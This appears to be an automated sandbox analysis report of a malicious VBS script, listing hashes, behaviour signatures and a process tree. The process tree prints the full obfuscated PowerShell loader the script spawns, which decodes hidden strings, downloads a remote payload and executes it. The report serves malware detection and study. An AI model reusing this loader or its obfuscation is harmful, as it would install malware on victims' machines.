Analysis
-
max time kernel
120s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
12-11-2024 02:42
Static task
static1
Behavioral task
behavioral1
Sample
980d0b7857091bbaecb3cd4783a4d7ed19548cd63bf8f244e2b0ea7c10812c53.vbs
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
980d0b7857091bbaecb3cd4783a4d7ed19548cd63bf8f244e2b0ea7c10812c53.vbs
Resource
win10v2004-20241007-en
General
-
Target
980d0b7857091bbaecb3cd4783a4d7ed19548cd63bf8f244e2b0ea7c10812c53.vbs
-
Size
86KB
-
MD5
b395f7c166e901cbb3d4560021b62f1e
-
SHA1
2ec42e99d3e040aa5dba198b6a258191a7abfd71
-
SHA256
980d0b7857091bbaecb3cd4783a4d7ed19548cd63bf8f244e2b0ea7c10812c53
-
SHA512
aa7de85f408873ddda3b27a7d716d7617cae31e5c18986815cc2bb496e7b716bbb9734c9dca4d1e1e7bf7539a7afac6e5f3af50b0174fb5dd4478e749a1fe581
-
SSDEEP
1536:G70tx9F0kevGd9pnpuoNfXuJsAvsxpuqkkZEfXTjSBVYt3gt1V9XaAj2/L/uqlG:GQH9FhQU9JMLkxHkfvTWBVYd8V98LmT
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 2 1884 WScript.exe -
pid Process 2604 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2604 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2604 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1884 wrote to memory of 2604 1884 WScript.exe 28 PID 1884 wrote to memory of 2604 1884 WScript.exe 28 PID 1884 wrote to memory of 2604 1884 WScript.exe 28
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\980d0b7857091bbaecb3cd4783a4d7ed19548cd63bf8f244e2b0ea7c10812c53.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1884 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Tilsvarene Harpiksen Fenetre Capillarities Water Soklets #><#Skafferen Drikkevandsforsyningernes Prepatrician felonious Skiferdkkere #>$Antiperthite118='Irreconcilement';function Autobiografierne($adoniram){If ($host.DebuggerEnabled) {$Tnkest++;$Oprejsning=$adoniram.'Length' - $Tnkest} for ( $Maeglingsmaend=4;$Maeglingsmaend -lt $Oprejsning;$Maeglingsmaend+=5){$Skulderstrops=$Maeglingsmaend;$Konfidensintervals136+=$adoniram[$Maeglingsmaend]}$Konfidensintervals136}function Neurological($vigepligtige){ .($Jacked) ($vigepligtige)}$Javanese=Autobiografierne 'fie nRetseVagtt Und. RagWSprnEHaerbCyprcCop lMelliVansE ugnUnsuTb.ge ';$Sprogkundskabers=Autobiografierne 'SupeMInduo TrezBouri oerl heflBetaaS,ag/Wast ';$Lovliggrende=Autobiografierne ' PatT SynlFlods,nch1T,re2Bnhr ';$Maeglingsmaendskremen='were[ errNFllee LevT K s.KursS borE nbrRTermVB okIDes.cScrye Lamp BldOForgI Pron WortSortMGonfaNiniNU,inaStilGSepteLeveROver]Kl.b:Hjsp:Bu iSStudE NymC Flau emar BygI HypTRaseyBrn P ugbR S,noBehoTMorgoCyclcBereODecelBema=Tele$IntelNummOcoriVSkriL EncI loGAgadG,yltrBi,oE FirnVerddBldgeArgu ';$Sprogkundskabers+=Autobiografierne 'Prol5Henf.Mela0 Mag Nett(P,ctWSl,biGigmnLilldKlaroTwelwDobbs ole Ove NUdraTS an T.ek1Trod0H ve.Aars0Play;Furp BifuW I bi,amen Pim6Myri4Lane; yr Chisxre,f6Sulf4Fl p;Wr n Amnr SpivP.ng:Dyrk1,ong3Labo1,tee. Afs0Tamd)Slid AutGVrdieH stcT.ykk FoooStje/Forg2 Pic0 aed1Bilh0S ro0O.yc1Preg0 avn1 xyl Zen FEx.si RemrKroneIneffAvouoMortx Cun/ Bi 1Prin3Oste1Strk. Be 0 P r ';$Alluringly=Autobiografierne 'NarwU,nraS UnsEPararD zz-PoppaMyatgStefEPre NMi,rTGo s ';$Spartelmassers=Autobiografierne 'KnhjhLyngt BantNse pBurssSkib:Sand/Besi/enjodMedirBabyiculmvSmgte Gre.votugPresoM droGrnsgyndll diae Com.FabrcKrseoIntem P r/ .nsuPentcMi i?B tteB anxRibbp,agtoStenrUn,itring=Lbekd nrooD ffwt omnStanlIn ooIm eaSoordChow&IbrniGeyad epi=Femt1 F uhKlapPmusejB tiSSkrixPu fZBildvArkihSavlLTbruB RdhQ hriFUnakOH thuPuttC Hi XGdniyB ggRC.mpSVi,aQ Exci PreYKrea0He.trUdsk- BuhcTzar1Hung2UncoGUndeQausf_Eng,4inds ';$Cohostess=Autobiografierne '.ane>S,bs ';$Jacked=Autobiografierne 'PelyIAsareMa.nXDeta ';$Credit='Usketes';$Surfboats='\Vexable.baa';Neurological (Autobiografierne 'Skam$Bumpg lknl panoVur bFljdAt beLFl.g:remic Br ISideTAnt AKhand etoeDitmlPlumlStjeE TarTbeses Lev=wago$ forEHaannUdleV le:SaniABeveP Rfupgladdteksa CretHemiaSemi+Spro$TraaSfletUIndtrseasFBankb StuoPlataBranTUnadSSkaa ');Neurological (Autobiografierne 'B.aa$tap GIndklDo,ioSkovbPassAPlaylLyri:Ska MBestIBedasInddsSulfIFleeF TraiNamecPalaaFormTDesieUdg,=de e$Pre,S kolP ingAEtnoR PatTopgaE curlFolkMSuprAU,leSSkr,s choE iggrlgessPiol. repsLokapNonaLAfmaiDuroT xcu(Sols$KoloCColaOKl gH S tO IncsInadtKv tEApp,spr,gsWras)Ende ');Neurological (Autobiografierne $Maeglingsmaendskremen);$Spartelmassers=$Missificate[0];$Svalingens=(Autobiografierne 'Inds$ SupGD,bil os ose.tBhrevAForeLadel:UndeaMicrN EpinShasoProjN kruC Ha eKa tRE spiImponAu oGPreeeGr nrBetaN ,veE Mess Be,= ntonRes EconcwKume-P,raoPretb endJreveEModrCStiptAlar ,rguSSu by ,ilsNonmt ineForcMHenr.Elge$SchojS,orA raiVStr AHallnFevee MisSY.utETyk, ');Neurological ($Svalingens);Neurological (Autobiografierne 'St o$ ermAhermn No.n PeroPlatnO hjcPl se UgerGasri Pegn ontg SeaeR verAmain ,ene Spisre o.As iH ecteFeuia racdparie,loprCineslibe[st k$ OpkA SkrlDeutlBo,gu JourSlaui AfvnOceagTornlCtrkyStap] emi=Cont$KnetS,osspDekorDa aoB.efgH,nekFrisu BacncuridudtvsIndbkdepoaL,meb rteeKlonr niqsSe,i ');$Preston=Autobiografierne ' Ove$SumpAPlsenPerinHi,do G,nn FoucExc eNarrr oniSygenLdregMinie terrUnpen ileRummsCoge.Li eDSl goSkydw.trgn VollUniporefiaMa,sdKogsFIndai TurlFlete ine( For$T.ilSSkampDagsaPtyar mautEquieWheelForumPeniablans yvtsspire norr Wh sUlyk,Voca$Ungdr H aaSa lcTo deBallmEre oPhotsMy teDiag)Gaze ';$racemose=$Citadellets;Neurological (Autobiografierne 'Rh.m$AlkygRevilViadoSkonBUndea Till Bef:Overa ScaD.gurRIrraEFanesUdsaSAft,eSun fFiltESympLOp.eT,ingE ContChi =Gt p(,ilit AlaE,trysMuint orc-.apapAcetAMat,T napHskrm ,nco$UhjlrPhagA,nuscRetoESupeMtrakoPreiS Ma e Pre)Mu.k ');while (!$Adressefeltet) {Neurological (Autobiografierne 'Silu$UdvigLyd,lops.oHemabAuroaPe.tlNrhe:TrdnBSortoNearr StjaTil,zF ldou prnA ti=Udl $RefltOrthr .neuUni eVand ') ;Neurological $Preston;Neurological (Autobiografierne ' ormsOve.tForsA,tarrFy rtsulf-StedS IndLDisbeAno eHj,np .ob Dds4Dast ');Neurological (Autobiografierne 'thes$b ingO iylPresOVaflBbomna IndL U e:Bal a artdIncir Dobegeors Ba.sOneheTerkfOpgae StiLBelotPlagEHypeT em=Conc(JoaktRearEUnwiS napTExcr- AutpPlumA D.lTRetihRang Tabe$Teper,erlA TroCUnraEKnudmRonaoBirrs SpiENonv)Thor ') ;Neurological (Autobiografierne ' .ap$SislGNon.lCe cOgoosbNummaFun lSk d: Wi L SamUSkagS icrtBa cfIngeU BioLLrelN BruEDejesVandS Rem=S,ut$ kunGVinlLSownOSn eBHrdea enLMast:UdveuSirenEu oS mbrtNondOBe krR,ine Udg+Absu+T lw%de n$KulemOverIW.eksAkt,sI.dlI g mFFremi BouCWak aBlodTStaneAe,l.KursCUnbrOFremuPalmnC,nsT,kri ') ;$Spartelmassers=$Missificate[$Lustfulness]}$Deports=297429;$Lingonberry=31128;Neurological (Autobiografierne 'Anli$Aph G alilAgr.OVal,b AgpAGr nLStea:Rev,FKla LFritiensvkBeliK Rege Kenn Urosme,g Af,r= Byz OpryG ConE tatT Jou-EtabC.etaO FadNAfmat jereNutgN usktcitr L v$HaarrFldeAPicnC GirEnarkmHurkoReses,lseE U s ');Neurological (Autobiografierne 'Cyk $ nifgHipplRounoO.erbV lbaV.tfl Che:UdspSUnfitStili emakB ankD eseUndelRingsDunkbRaerrSignd ZonrChorbProdeTapirAllunSerfeSout Fdre=umen Sk,s[El tSskopyToldsS dvtNgleeBrigmA ti.Etw CndhjoParanFar,vGruneNonsrAk stSpis]Ci a:Dri.:handFProlr Fr.oFilmm uaBPrpaaSkras SyseCa,a6 D.e4Un,oSSkattPlatrWhydiTilsn FlogSp,i(appr$ traFTyndlRetriS nhkProfk flae,uffn indsC ki)U ig ');Neurological (Autobiografierne 'Lavo$Fl,egboddLVaniOHygrbDiagA .ogLSubr:MadrHTilhVCrp IA prDArt.mI.trAInt lUd aEQuarD AfgEstakSList .ea=,sth Kreu[KorpSSkytYdisusUddaTProleBiplM Tmm.HkerTVinteShotxZy nT,yrl. kuleTe tN,awnC incORappDIkenIMossnVacug ty] Res: Tin:PersAUrh.SVrdiCOveriBoksi Ren. Re gSkaleadreT LitsCodetDisprMissI onNv.neGFgte( tif$RentSShacT aceiCre kIncaK HavEFattLDu tS rthBSublrDip DFasaR Julbtel e.verr ,ianSn rETh.s)B,pr ');Neurological (Autobiografierne 'Kkk.$Ri eg ifiLPrveOFo.nBU.soa oedLBesu:FiloF SkoOInsuNTiltD ioSImprBFragEInteSKlastDoggY ndiRPa lEUdvul KofsCorpEBlacRTilssVekt=Retw$FrdehSukkvTaddiPremDSnusMNarka Favl RumEInduDA fleLavtS Hit.Pro SFaciUbasebSnevsAntit,ondRbilpIMellnmedfGDra ( Kap$latrD KapEPappPA,erO badrT gitUd,vsDiso, Goo$ PellEloxiStr,n kgGGrayo C,uNElevBDekaeZebrRFeusRRichysans)Ska ');Neurological $Fondsbestyrelsers;"2⤵
- Network Service Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2604
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b